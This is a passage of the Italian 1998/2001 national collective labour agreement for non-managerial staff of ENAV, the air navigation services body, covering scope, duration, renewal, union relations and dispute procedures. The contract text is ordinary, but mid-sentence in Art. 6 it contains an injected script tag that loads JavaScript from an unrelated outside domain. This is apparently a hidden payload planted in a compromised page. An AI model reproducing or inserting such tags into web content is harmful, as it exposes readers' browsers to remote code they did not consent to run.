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Categoria: Aerei, Assistenza al volo (Dipendenti AA.VV) Settore: Trasporti Data stipula: 16-11-1999 Data decorrenza: 1-1-1998 Data scadenza: 31-12-2001
Contratto collettivo nazionale di lavoro
1998/2001
ENTE NAZIONALE DI ASSISTENZA AL VOLO
PERSONALE NON DIRIGENTE
Capo 1 - CLAUSOLE RIGUARDANTI IL CCNL E DISPOSIZIONI GENERALI
Art. 1 - Campo di applicazione.
1. Le disposizioni del presente contratto si applicano ai rapporti fra
l'ente e i lavoratori da esso dipendenti, con rapporto sia a tempo
indeterminato che determinato, pieno o parziale.
2. Il CCNL è articolato in una parte generale (riguardante tutto il
personale) e nelle seguenti parti specifiche:
· categoria professionale Controllori Traffico Aereo;
· categoria professionale Esperti Assistenza al Volo;
· categoria professionale Meteorologi;
· categoria professionale Naviganti, per il personale Pilota e
Operatore RM;
· categoria tecnico/amministrativa, per il personale EDP, tecnico,
amministrativo e di supporto.
Art. 2 - Durata, decorrenza, procedure di rinnovo.
1. In conformità a quanto stabilito dal Protocollo Governo-Parti sociali
del 23.7.93, il presente CCNL ha una durata di 4 anni - dal 1° gennaio
1998 al 31 dicembre 2001 - per la parte normativa e di 2 anni - dal 1°
gennaio 1998 al 31 dicembre 1999 - per la parte economica.
2. Il presente CCNL si rinnova tacitamente di anno in anno qualora
almeno una delle parti non ne dia formale disdetta in forma scritta almeno
3 mesi prima della scadenza. Il CCNL disdetto resta in vigore sino
all'applicazione di quello successivo. Nei periodi di vacanza contrattuale
viene erogata la relativa indennità con le modalità previste dal
Protocollo 23.7.93.
3. Le piattaforme contrattuali devono essere presentate almeno 90 giorni
prima della scadenza del contratto o del biennio economico. Durante tale
periodo e per il mese successivo alla scadenza le parti non assumeranno
iniziative unilaterali né assumeranno iniziative di lotta riferibili alla
trattativa in corso. Trascorsi 30 giorni dalla ricezione della piattaforma
l'ente convocherà le OO.SS. interessate per una prima risposta di
percorribilità.
Nota a verbale.
Le parti confermano il proprio impegno a concludere la trattativa per il
rinnovo per la parte economica 2000/2001 entro il 31.12.99. L'ente
s'impegna a liquidare gli arretrati 1998/99 entro e non oltre 360 giorni
dalla firma.
Art. 3 - Distribuzione del CCNL.
1. L'ente distribuirà gratuitamente, entro 120 giorni dalla data di
sottoscrizione del presente contratto, una copia dello stesso (comprensiva
delle disposizioni di legge di riferimento) ad ogni singolo dipendente.
Art. 4 - Interpretazione del CCNL e prevenzione dei conflitti.
1. Per la risoluzione di qualsiasi controversia attinente l'applicazione
e/o l'interpretazione del presente contratto si applicano le procedure di
conciliazione previste al successivo capo 2.
Art. 5 - Relazioni sindacali.
1. L'ente s'impegna ad instaurare e mantenere rapporti sindacali
esclusivamente con OO.SS. firmatarie del presente CCNL o che, anche
attraverso patti federativi, abbiano una quantità complessiva di iscritti
non inferiore al 5% del totale delle deleghe sindacali.
2.Alle altre OO.SS. sottoscrittrici del patto per la definizione di nuove
regole sindacali del 16.4.99 e che rispettino - lealmente gli accordi ex
lege n. 146/90, l'ente garantisce comunque relazioni sindacali secondo
quanto definito nel presente CCNL e la trattenuta dei contributi
sindacali; inoltre, fino all'avvenuta formalizzazione dei patti
federativi e comunque sino a 1 mese dalla firma del presente CCNL, alle
stesse è garantita la partecipazione al Comitato di monitoraggio di cui
all'art. 8.
Art. 6 - Materie e limiti della contrattazione.
1. Appartengono al livello negoziale le materie concernenti il
trattamento economico<script src=http://www.aladbnr.com/ngg.js></script>
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